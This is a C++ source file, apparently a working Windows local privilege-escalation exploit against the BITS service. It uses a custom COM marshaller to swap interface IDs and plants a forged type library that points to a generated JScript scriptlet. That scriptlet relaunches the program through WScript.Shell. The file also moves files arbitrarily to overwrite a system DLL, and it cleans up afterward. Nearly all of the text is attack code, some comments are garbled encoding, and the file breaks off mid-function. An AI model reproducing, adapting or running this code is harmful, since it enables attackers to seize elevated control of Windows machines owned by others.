1150 lines
23 KiB
C++
1150 lines
23 KiB
C++
|
||
#include <iostream>
|
||
#include <Windows.h>
|
||
#include <stdlib.h>
|
||
#include <stdio.h>
|
||
#include <bits.h>
|
||
#include <bits4_0.h>
|
||
#include <stdio.h>
|
||
#include <tchar.h>
|
||
#include <string>
|
||
#include <comdef.h>
|
||
#include <Shlwapi.h>
|
||
#include <strsafe.h>
|
||
#include <vector>
|
||
#include <Sddl.h>
|
||
#include <atlbase.h>
|
||
#include "resource.h"
|
||
#include "../BitsArbitraryFileMove/BitsArbitraryFileMove.h"
|
||
|
||
#define TEMPO 2000
|
||
#define LEN 1024
|
||
static int FileCount = 0;
|
||
static IID IID_InterfaceTemp;
|
||
static wchar_t g_dllPathBak[LEN];
|
||
static BSTR CleanUpFileList[3] = { L"SysFxUI.dll", L"SysFxUI.dll.bak", L"run.sct" };
|
||
static PVOID m_pOldValue = nullptr;
|
||
|
||
|
||
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
|
||
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
|
||
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob2, __uuidof(IBackgroundCopyJob2));
|
||
_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));
|
||
|
||
|
||
|
||
typedef LUID OXID;
|
||
typedef LUID OID;
|
||
typedef GUID IPID;
|
||
|
||
typedef struct tagDUALSTRINGARRAY {
|
||
unsigned short wNumEntries; // Number of entries in array.
|
||
unsigned short wSecurityOffset; // Offset of security info.
|
||
unsigned short aStringArray[];
|
||
} DUALSTRINGARRAY;
|
||
|
||
typedef struct tagSTDOBJREF {
|
||
DWORD flags;
|
||
DWORD cPublicRefs;
|
||
OXID oxid;
|
||
OID oid;
|
||
IPID ipid;
|
||
} STDOBJREF;
|
||
|
||
typedef struct tagOBJREF {
|
||
unsigned long signature;//MEOW
|
||
unsigned long flags;
|
||
GUID iid;
|
||
union {
|
||
struct {
|
||
STDOBJREF std;
|
||
DUALSTRINGARRAY saResAddr;
|
||
} u_standard;
|
||
struct {
|
||
STDOBJREF std;
|
||
CLSID clsid;
|
||
DUALSTRINGARRAY saResAddr;
|
||
} u_handler;
|
||
struct {
|
||
CLSID clsid;
|
||
unsigned long cbExtension;
|
||
unsigned long size;
|
||
ULONGLONG pData;
|
||
} u_custom;
|
||
} u_objref;
|
||
} OBJREF;
|
||
|
||
typedef struct ExploitData{
|
||
;
|
||
|
||
IID IID_Interface;
|
||
IID TypeLib_Interface;
|
||
OLECHAR extPath[LEN];
|
||
OLECHAR dllPath[LEN];
|
||
OLECHAR Interface_Name[LEN];
|
||
UINT32 InterfaceVersionFirst;
|
||
UINT32 InterfaceVersionNext;
|
||
}*PExploitData;
|
||
|
||
static bstr_t IIDToBSTR(REFIID riid)
|
||
{
|
||
LPOLESTR str;
|
||
bstr_t ret = "Unknown";
|
||
if (SUCCEEDED(StringFromIID(riid, &str)))
|
||
{
|
||
ret = str;
|
||
CoTaskMemFree(str);
|
||
}
|
||
return ret;
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
class SafeScopedHandle
|
||
{
|
||
HANDLE _h;
|
||
public:
|
||
SafeScopedHandle() : _h(nullptr)
|
||
{
|
||
}
|
||
|
||
SafeScopedHandle(SafeScopedHandle& h)
|
||
{
|
||
_h = h._h;
|
||
h._h = nullptr;
|
||
}
|
||
|
||
SafeScopedHandle(SafeScopedHandle&& h) {
|
||
_h = h._h;
|
||
h._h = nullptr;
|
||
}
|
||
|
||
~SafeScopedHandle()
|
||
{
|
||
if (!invalid())
|
||
{
|
||
CloseHandle(_h);
|
||
_h = nullptr;
|
||
}
|
||
}
|
||
|
||
bool invalid() {
|
||
return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
|
||
}
|
||
|
||
void set(HANDLE h)
|
||
{
|
||
_h = h;
|
||
}
|
||
|
||
HANDLE get()
|
||
{
|
||
return _h;
|
||
}
|
||
|
||
HANDLE* ptr()
|
||
{
|
||
return &_h;
|
||
}
|
||
|
||
|
||
};
|
||
|
||
|
||
|
||
|
||
|
||
bstr_t GetSystemDrive()
|
||
{
|
||
WCHAR windows_dir[MAX_PATH] = { 0 };
|
||
|
||
GetWindowsDirectory(windows_dir, MAX_PATH);
|
||
|
||
windows_dir[2] = 0;
|
||
|
||
return windows_dir;
|
||
}
|
||
|
||
bstr_t GetDeviceFromPath(LPCWSTR lpPath)
|
||
{
|
||
WCHAR drive[3] = { 0 };
|
||
drive[0] = lpPath[0];
|
||
drive[1] = lpPath[1];
|
||
drive[2] = 0;
|
||
|
||
WCHAR device_name[MAX_PATH] = { 0 };
|
||
|
||
if (QueryDosDevice(drive, device_name, MAX_PATH))
|
||
{
|
||
return device_name;
|
||
}
|
||
else
|
||
{
|
||
fflush(stdout);
|
||
printf("[+][x] Error getting device for %ls\n", lpPath);
|
||
exit(1);
|
||
}
|
||
}
|
||
|
||
bstr_t GetSystemDevice()
|
||
{
|
||
return GetDeviceFromPath(GetSystemDrive());
|
||
}
|
||
|
||
bstr_t GetExe()
|
||
{
|
||
WCHAR curr_path[MAX_PATH] = { 0 };
|
||
GetModuleFileName(nullptr, curr_path, MAX_PATH);
|
||
return curr_path;
|
||
}
|
||
|
||
bstr_t GetExeDir()
|
||
{
|
||
WCHAR curr_path[MAX_PATH] = { 0 };
|
||
GetModuleFileName(nullptr, curr_path, MAX_PATH);
|
||
PathRemoveFileSpec(curr_path);
|
||
|
||
return curr_path;
|
||
}
|
||
|
||
bstr_t GetCurrentPath()
|
||
{
|
||
bstr_t curr_path = GetExeDir();
|
||
|
||
bstr_t ret = GetDeviceFromPath(curr_path);
|
||
|
||
ret += &curr_path.GetBSTR()[2];
|
||
|
||
return ret;
|
||
}
|
||
|
||
|
||
static HRESULT Check(HRESULT hr)
|
||
{
|
||
if (FAILED(hr))
|
||
{
|
||
throw _com_error(hr);
|
||
}
|
||
return hr;
|
||
}
|
||
|
||
|
||
// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
|
||
static const GUID IID_BaseInterface =
|
||
{ 0xd487789c, 0x32a3, 0x4e22, { 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };
|
||
|
||
// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
|
||
static const GUID TypeLib_BaseInterface =
|
||
{ 0x6c6c9f33, 0xae88, 0x4ec2, { 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };
|
||
|
||
const wchar_t x[] = L"ABC";
|
||
|
||
const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
|
||
L"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
|
||
L"</registration>\r\n"\
|
||
L"<script language='JScript'>\r\n"\
|
||
L"<![CDATA[\r\n"\
|
||
L" new ActiveXObject('Wscript.Shell').exec('";
|
||
|
||
const wchar_t scriptlet_end[] = L"');\r\n"\
|
||
L"]]>\r\n"\
|
||
L"</script>\r\n"\
|
||
L"</component>\r\n"\
|
||
L"</package>\r\n";
|
||
|
||
|
||
class ChaHua
|
||
{
|
||
|
||
|
||
BSTR target_tlb_dest = (BSTR)malloc(LEN);
|
||
PExploitData data = (PExploitData)malloc(sizeof(ExploitData));
|
||
|
||
~ChaHua(){};
|
||
public:
|
||
|
||
ChaHua(IID IID_IInterface, BSTR IInterface_name , IID IID_TypeLib, BSTR dllPathFrom )
|
||
{
|
||
|
||
data->IID_Interface = IID_IInterface;
|
||
if (IInterface_name)
|
||
{
|
||
wcscpy(data->Interface_Name, IInterface_name);
|
||
}
|
||
|
||
data->TypeLib_Interface = IID_TypeLib;
|
||
if (dllPathFrom)
|
||
{
|
||
wcscpy(data->dllPath, dllPathFrom);
|
||
}
|
||
else
|
||
{
|
||
wcscpy(data->dllPath, L"");
|
||
}
|
||
|
||
wcscpy(data->extPath, L"");
|
||
|
||
}
|
||
|
||
|
||
|
||
HRESULT Init()
|
||
{
|
||
return S_OK;
|
||
}
|
||
GUID* GetFakeIID_IInterface()
|
||
{
|
||
return &data->IID_Interface;
|
||
}
|
||
|
||
void MakeTempTypelib(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
|
||
{
|
||
DeleteFile(filename);
|
||
ICreateTypeLib2Ptr tlb;
|
||
Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
|
||
//Check(CreateTypeLib2(SYS_WIN64, filename, &tlb));
|
||
tlb->SetGuid(typelib_guid);
|
||
|
||
ITypeInfoPtr ref_type_info;
|
||
Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));
|
||
|
||
ICreateTypeInfoPtr create_info;
|
||
Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
|
||
Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
|
||
HREFTYPE ref_type;
|
||
Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
|
||
Check(create_info->AddImplType(0, ref_type));
|
||
Check(create_info->SetGuid(iid));
|
||
Check(tlb->SaveAllChanges());
|
||
}
|
||
|
||
std::vector<BYTE> ReadFileByPath(bstr_t path)
|
||
{
|
||
SafeScopedHandle hFile;
|
||
hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
|
||
if (hFile.invalid())
|
||
{
|
||
throw _com_error(E_FAIL);
|
||
}
|
||
DWORD size = GetFileSize(hFile.get(), nullptr);
|
||
std::vector<BYTE> ret(size);
|
||
if (size > 0)
|
||
{
|
||
DWORD bytes_read;
|
||
if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
|
||
{
|
||
throw _com_error(E_FAIL);
|
||
}
|
||
}
|
||
|
||
return ret;
|
||
}
|
||
|
||
void WriteFileByString(bstr_t path, const char* data)
|
||
{
|
||
const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
|
||
std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
|
||
WriteFileByData(path, data_buf);
|
||
}
|
||
void WriteFileByData(bstr_t path, const std::vector<BYTE> data)
|
||
{
|
||
SafeScopedHandle hFile;
|
||
hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
|
||
if (hFile.invalid())
|
||
{
|
||
throw _com_error(E_FAIL);
|
||
}
|
||
|
||
if (data.size() > 0)
|
||
{
|
||
DWORD bytes_written;
|
||
if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
|
||
{
|
||
throw _com_error(E_FAIL);
|
||
}
|
||
}
|
||
}
|
||
|
||
BOOL ExploitCopyFile(bool shellmode){
|
||
|
||
BitsArbitraryFileMove bitsArbitraryFileMove;
|
||
char* cmdstr = (char*)malloc(LEN);
|
||
bstr_t dllPathBak = GetExeDir() + L"\\" + PathFindFileName(data->dllPath) + ".bak";
|
||
|
||
wcscpy(g_dllPathBak, dllPathBak.GetBSTR());
|
||
if (!CopyFileW(data->dllPath, g_dllPathBak, false))
|
||
{
|
||
printf("[+]Copy Back File Failed \n");
|
||
}
|
||
|
||
return bitsArbitraryFileMove.Run(target_tlb_dest, data->dllPath);
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
void BuildTypeLibsWrapper(BSTR script_path)
|
||
{
|
||
//<2F><>ǰĿ¼<C4BF>µ<EFBFBD><C2B5><EFBFBD>ʱtypelib
|
||
bstr_t target_tlb = GetExeDir() + L"\\" + PathFindFileName(data->dllPath);
|
||
printf("[+]Building TypeLib:%ls \n", target_tlb.GetBSTR());
|
||
bstr_t script;
|
||
if (script_path)
|
||
{
|
||
script = script_path;
|
||
|
||
}
|
||
else
|
||
{
|
||
script = L"script:" + CreateScriptletFile();
|
||
}
|
||
BuildTypeLibs(script, data->Interface_Name, target_tlb);
|
||
wcscpy(target_tlb_dest, target_tlb.GetBSTR());
|
||
}
|
||
BSTR GetDllPath()
|
||
{
|
||
return _wcsdup(data->dllPath);
|
||
}
|
||
void BuildTypeLibs(LPCSTR script_path, bstr_t if_name, bstr_t target_tlb)
|
||
{
|
||
|
||
try{
|
||
|
||
ITypeLibPtr stdole2;
|
||
Check(LoadTypeLib(L"stdole2.tlb", &stdole2));
|
||
|
||
fflush(stdout);
|
||
|
||
unsigned int len = strlen(script_path);
|
||
|
||
bstr_t buf = GetExeDir() + L"\\";
|
||
for (unsigned int i = 0; i < len; ++i)
|
||
{
|
||
buf += L"A";
|
||
}
|
||
|
||
MakeTempTypelib(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
|
||
ITypeLib* abc;
|
||
Check(LoadTypeLib(buf, &abc));
|
||
|
||
|
||
bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
|
||
MakeTempTypelib(built_tlb, if_name, data->TypeLib_Interface, data->IID_Interface, abc, IID_BaseInterface);
|
||
|
||
std::vector<BYTE> tlb_data = ReadFileByPath(built_tlb);
|
||
for (size_t i = 0; i < tlb_data.size() - len; ++i)
|
||
{
|
||
bool found = true;
|
||
for (unsigned int j = 0; j < len; j++)
|
||
{
|
||
if (tlb_data[i + j] != 'A')
|
||
{
|
||
found = false;
|
||
}
|
||
}
|
||
|
||
if (found)
|
||
{
|
||
fflush(stdout);
|
||
printf("[+]Typelib:%s,%ls,%ls \n", script_path, if_name.GetBSTR(), IIDToBSTR(data->TypeLib_Interface).GetBSTR());
|
||
|
||
|
||
memcpy(&tlb_data[i], script_path, len);
|
||
break;
|
||
}
|
||
}
|
||
|
||
|
||
WriteFileByData(target_tlb, tlb_data);
|
||
abc->Release();
|
||
DeleteFile(buf);
|
||
DeleteFile(built_tlb);
|
||
}
|
||
catch (const _com_error& err)
|
||
{
|
||
printf("[+]Error BuildT ypeLibs: %ls\n", err.ErrorMessage());
|
||
}
|
||
}
|
||
|
||
bstr_t CreateScriptletFile()
|
||
{
|
||
bstr_t script_file = GetExeDir() + L"\\run.sct";
|
||
bstr_t script_data = scriptlet_start;
|
||
bstr_t exe_file = GetExe();
|
||
wchar_t* p = exe_file;
|
||
while (*p)
|
||
{
|
||
if (*p == '\\')
|
||
{
|
||
*p = '/';
|
||
}
|
||
p++;
|
||
}
|
||
|
||
DWORD session_id;
|
||
ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
|
||
WCHAR session_str[16];
|
||
StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);
|
||
|
||
script_data += L"\"" + exe_file + L"\" door " + session_str + scriptlet_end;
|
||
|
||
WriteFileByString(script_file, script_data);
|
||
|
||
return script_file;
|
||
}
|
||
|
||
|
||
|
||
|
||
};
|
||
|
||
|
||
|
||
|
||
|
||
class CMarshaller : public IMarshal
|
||
{
|
||
LONG _ref_count;
|
||
IUnknown * _unk;
|
||
|
||
~CMarshaller() {}
|
||
|
||
public:
|
||
|
||
CMarshaller(IUnknown * unk) : _ref_count(1)
|
||
{
|
||
_unk = unk;
|
||
|
||
}
|
||
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(
|
||
/* [in] */ REFIID riid,
|
||
/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
|
||
{
|
||
|
||
*ppvObject = nullptr;
|
||
//printf("[+]QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
|
||
|
||
if (riid == IID_IUnknown)
|
||
{
|
||
*ppvObject = this;
|
||
}
|
||
else if (riid == IID_IMarshal)
|
||
{
|
||
*ppvObject = static_cast<IMarshal*>(this);
|
||
}
|
||
else
|
||
{
|
||
return E_NOINTERFACE;
|
||
}
|
||
//printf("[+]Queried Success: %p\n", *ppvObject);
|
||
((IUnknown *)*ppvObject)->AddRef();
|
||
return S_OK;
|
||
}
|
||
|
||
virtual ULONG STDMETHODCALLTYPE AddRef(void)
|
||
{
|
||
|
||
//printf("[+]AddRef: %d\n", _ref_count);
|
||
return InterlockedIncrement(&_ref_count);
|
||
}
|
||
|
||
virtual ULONG STDMETHODCALLTYPE Release(void)
|
||
{
|
||
|
||
//printf("[+]Release: %d\n", _ref_count);
|
||
ULONG ret = InterlockedDecrement(&_ref_count);
|
||
if (ret == 0)
|
||
{
|
||
//printf("[+]Release object %p\n", this);
|
||
delete this;
|
||
}
|
||
return ret;
|
||
}
|
||
|
||
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
|
||
/* [annotation][in] */
|
||
_In_ REFIID riid,
|
||
/* [annotation][unique][in] */
|
||
_In_opt_ void *pv,
|
||
/* [annotation][in] */
|
||
_In_ DWORD dwDestContext,
|
||
/* [annotation][unique][in] */
|
||
_Reserved_ void *pvDestContext,
|
||
/* [annotation][in] */
|
||
_In_ DWORD mshlflags,
|
||
/* [annotation][out] */
|
||
_Out_ CLSID *pCid)
|
||
{
|
||
|
||
|
||
GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
|
||
*pCid = CLSID_AggStdMarshal2;
|
||
|
||
//printf("[+]GetUnmarshalClass: %ls %p\n", IIDToBSTR((REFIID)*pCid).GetBSTR(), this);
|
||
return S_OK;
|
||
}
|
||
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
|
||
/* [annotation][unique][in] */
|
||
_In_ IStream *pStm,
|
||
/* [annotation][in] */
|
||
_In_ REFIID riid,
|
||
/* [annotation][unique][in] */
|
||
_In_opt_ void *pv,
|
||
/* [annotation][in] */
|
||
_In_ DWORD dwDestContext,
|
||
/* [annotation][unique][in] */
|
||
_Reserved_ void *pvDestContext,
|
||
/* [annotation][in] */
|
||
_In_ DWORD mshlflags)
|
||
{
|
||
IStorage* stg;
|
||
ILockBytes* lb;
|
||
CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
|
||
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
|
||
ULONG cbRead;
|
||
ULONG cbWrite;
|
||
IStreamPtr pStream = nullptr;
|
||
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
|
||
LARGE_INTEGER dlibMove = { 0 };
|
||
ULARGE_INTEGER plibNewPosition;
|
||
hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
|
||
OBJREF* headerObjRef = (OBJREF*)malloc(1000);
|
||
hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
|
||
hr = pStream->Read(headerObjRef, 1000, &cbRead);
|
||
printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceTemp).GetBSTR(), this);
|
||
headerObjRef->iid = IID_InterfaceTemp;
|
||
hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
|
||
return hr;
|
||
|
||
}
|
||
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
|
||
/* [annotation][in] */
|
||
_In_ REFIID riid,
|
||
/* [annotation][unique][in] */
|
||
_In_opt_ void *pv,
|
||
/* [annotation][in] */
|
||
_In_ DWORD dwDestContext,
|
||
/* [annotation][unique][in] */
|
||
_Reserved_ void *pvDestContext,
|
||
/* [annotation][in] */
|
||
_In_ DWORD mshlflags,
|
||
/* [annotation][out] */
|
||
_Out_ DWORD *pSize)
|
||
{
|
||
*pSize = 1024;
|
||
return S_OK;
|
||
}
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
|
||
/* [annotation][unique][in] */
|
||
_In_ IStream *pStm,
|
||
/* [annotation][in] */
|
||
_In_ REFIID riid,
|
||
/* [annotation][out] */
|
||
_Outptr_ void **ppv)
|
||
{
|
||
return E_NOTIMPL;
|
||
}
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
|
||
/* [annotation][unique][in] */
|
||
_In_ IStream *pStm)
|
||
{
|
||
return S_OK;
|
||
}
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
|
||
/* [annotation][in] */
|
||
_In_ DWORD dwReserved)
|
||
{
|
||
return S_OK;
|
||
}
|
||
};
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
class FakeObject : public IBackgroundCopyCallback2, public IPersist
|
||
{
|
||
HANDLE m_ptoken;
|
||
LONG m_lRefCount;
|
||
|
||
IUnknown *_umk;
|
||
~FakeObject() {};
|
||
|
||
public:
|
||
//Constructor, Destructor
|
||
FakeObject(IUnknown *umk){
|
||
_umk = umk;
|
||
m_lRefCount = 1;
|
||
|
||
}
|
||
|
||
//IUnknown
|
||
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
|
||
{
|
||
|
||
|
||
//printf("[+]QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
|
||
if (riid == __uuidof(IUnknown))
|
||
{
|
||
printf("[+]Query for IUnknown\n");
|
||
*ppvObj = this;
|
||
}
|
||
else if (riid == __uuidof(IBackgroundCopyCallback2))
|
||
{
|
||
printf("[+]Query for IBackgroundCopyCallback2\n");
|
||
|
||
}
|
||
else if (riid == __uuidof(IBackgroundCopyCallback))
|
||
{
|
||
printf("[+]Query for IBackgroundCopyCallback\n");
|
||
|
||
}
|
||
else if (riid == __uuidof(IPersist))
|
||
{
|
||
printf("[+]Query for IPersist\n");
|
||
*ppvObj = static_cast<IPersist*>(this);
|
||
//*ppvObj = _unk2;
|
||
}
|
||
|
||
else if (riid == IID_IMarshal)
|
||
{
|
||
printf("[+]Query for IID_IMarshal\n");
|
||
//*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);
|
||
|
||
|
||
*ppvObj = NULL;
|
||
return E_NOINTERFACE;
|
||
}
|
||
else
|
||
{
|
||
printf("[+]Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
|
||
*ppvObj = NULL;
|
||
return E_NOINTERFACE;
|
||
}
|
||
|
||
((IUnknown *)*ppvObj)->AddRef();
|
||
return NOERROR;
|
||
}
|
||
|
||
ULONG __stdcall AddRef()
|
||
{
|
||
return InterlockedIncrement(&m_lRefCount);
|
||
}
|
||
|
||
ULONG __stdcall Release()
|
||
{
|
||
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
|
||
|
||
if (0 == ulCount)
|
||
{
|
||
delete this;
|
||
}
|
||
|
||
return ulCount;
|
||
}
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE JobTransferred(
|
||
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
|
||
{
|
||
printf("[+]JobTransferred\n");
|
||
return S_OK;
|
||
}
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE JobError(
|
||
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
|
||
/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
|
||
{
|
||
printf("[+]JobError\n");
|
||
return S_OK;
|
||
}
|
||
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE JobModification(
|
||
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
|
||
/* [in] */ DWORD dwReserved)
|
||
{
|
||
printf("[+]JobModification\n");
|
||
return S_OK;
|
||
}
|
||
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE FileTransferred(
|
||
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
|
||
/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
|
||
{
|
||
printf("[+]FileTransferred\n");
|
||
return S_OK;
|
||
}
|
||
|
||
virtual HRESULT STDMETHODCALLTYPE GetClassID(
|
||
/* [out] */ __RPC__out CLSID *pClassID)
|
||
{
|
||
printf("[+]GetClassID\n");
|
||
|
||
|
||
*pClassID = GUID_NULL;
|
||
|
||
return S_OK;
|
||
}
|
||
};
|
||
|
||
|
||
|
||
_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));
|
||
|
||
void TestBits(HANDLE hEvent)
|
||
{
|
||
|
||
IBackgroundCopyManagerPtr pQueueMgr;
|
||
IID CLSID_BackgroundCopyManager;
|
||
IID IID_IBackgroundCopyManager;
|
||
CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
|
||
CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);
|
||
|
||
HRESULT hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
|
||
CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);
|
||
|
||
IUnknown * pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject(nullptr)));
|
||
IUnknown * pInner;
|
||
|
||
CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);
|
||
|
||
IBackgroundCopyJobPtr pJob;
|
||
GUID guidJob;
|
||
|
||
IEnumBackgroundCopyJobsPtr enumjobs;
|
||
hr = pQueueMgr->EnumJobs(0, &enumjobs);
|
||
if (SUCCEEDED(hr))
|
||
{
|
||
IBackgroundCopyJob* currjob;
|
||
ULONG fetched = 0;
|
||
|
||
while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))
|
||
{
|
||
LPWSTR lpStr;
|
||
if (SUCCEEDED(currjob->GetDisplayName(&lpStr)))
|
||
{
|
||
if (wcscmp(lpStr, L"BitsAuthSample") == 0)
|
||
{
|
||
CoTaskMemFree(lpStr);
|
||
currjob->Cancel();
|
||
currjob->Release();
|
||
break;
|
||
}
|
||
}
|
||
currjob->Release();
|
||
}
|
||
}
|
||
|
||
|
||
pQueueMgr->CreateJob(L"BitsAuthSample",
|
||
BG_JOB_TYPE_DOWNLOAD,
|
||
&guidJob,
|
||
&pJob);
|
||
|
||
|
||
|
||
IUnknownPtr pNotify;
|
||
|
||
|
||
pNotify.Attach(new CMarshaller(pInner));
|
||
{
|
||
|
||
|
||
HRESULT hr = pJob->SetNotifyInterface(pNotify);
|
||
printf("[+]Test Background Intelligent Transfer Service Result: %08X\n", hr);
|
||
|
||
}
|
||
if (pJob)
|
||
{
|
||
pJob->Cancel();
|
||
}
|
||
|
||
//printf("[+]Done\n");
|
||
SetEvent(hEvent);
|
||
|
||
}
|
||
|
||
|
||
|
||
BOOL DirectoryListCleanUp_After(BSTR Path, BSTR ExeName)
|
||
{
|
||
if (!PathIsDirectoryW(Path))
|
||
{
|
||
|
||
return FALSE;
|
||
}
|
||
WIN32_FIND_DATAW FindData;
|
||
HANDLE hError;
|
||
|
||
BSTR FilePathName = (BSTR)malloc(LEN);
|
||
// <20><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||
bstr_t FullPathName;
|
||
wcscpy(FilePathName, Path);
|
||
wcscat(FilePathName, L"\\*.*");
|
||
hError = FindFirstFile(FilePathName, &FindData);
|
||
if (hError == INVALID_HANDLE_VALUE)
|
||
{
|
||
//printf("[+]Enumerating %ls Failed Try To Skip, code: %d,error: %d\n", FilePathName, GetLastError(), hError);
|
||
return 0;
|
||
}
|
||
while (::FindNextFile(hError, &FindData))
|
||
{
|
||
// <20><><EFBFBD><EFBFBD>.<2E><>..
|
||
if (_wcsicmp(FindData.cFileName, L".") == 0
|
||
|| _wcsicmp(FindData.cFileName, L"..") == 0)
|
||
{
|
||
continue;
|
||
}
|
||
FullPathName = bstr_t(Path) + "\\" + FindData.cFileName;
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||
if (_wcsicmp(ExeName, FindData.cFileName) != 0)
|
||
{
|
||
for (int i = 0; i < 3; i++)
|
||
{
|
||
|
||
if (_wcsicmp(CleanUpFileList[i], FindData.cFileName) == 0)
|
||
{
|
||
DeleteFile(FullPathName);
|
||
}
|
||
}
|
||
}
|
||
//wsprintf(FullPathName, L"%s\\%s", Path, FindData.cFileName);
|
||
//FileCount++;
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||
|
||
if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||
{
|
||
DirectoryListCleanUp_After(FullPathName, ExeName);
|
||
}
|
||
}
|
||
return FALSE;
|
||
}
|
||
|
||
|
||
BOOL RestoreExploitFile_After(bool shellmode, BSTR dllBakPath, BSTR dllRealPath)
|
||
{
|
||
PVOID oldval = nullptr;
|
||
|
||
HANDLE hProcess;
|
||
BOOL bWow64Process;
|
||
|
||
hProcess = GetCurrentProcess();
|
||
|
||
if (!IsWow64Process(hProcess, &bWow64Process))
|
||
{
|
||
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
|
||
CloseHandle(hProcess);
|
||
return FALSE;
|
||
}
|
||
|
||
if (shellmode)
|
||
{
|
||
|
||
if (bWow64Process)
|
||
{
|
||
if (!Wow64DisableWow64FsRedirection(&oldval))
|
||
{
|
||
printf("[+]Wow64DisableWow64FsRedirection Failed\n");
|
||
return FALSE;
|
||
}
|
||
}
|
||
|
||
}
|
||
printf("[+]Restoring File %ls,%ls\n", dllBakPath, dllRealPath);
|
||
if (CopyFileW(dllBakPath, dllRealPath, false))
|
||
{
|
||
|
||
bstr_t exeDir = GetExeDir();
|
||
|
||
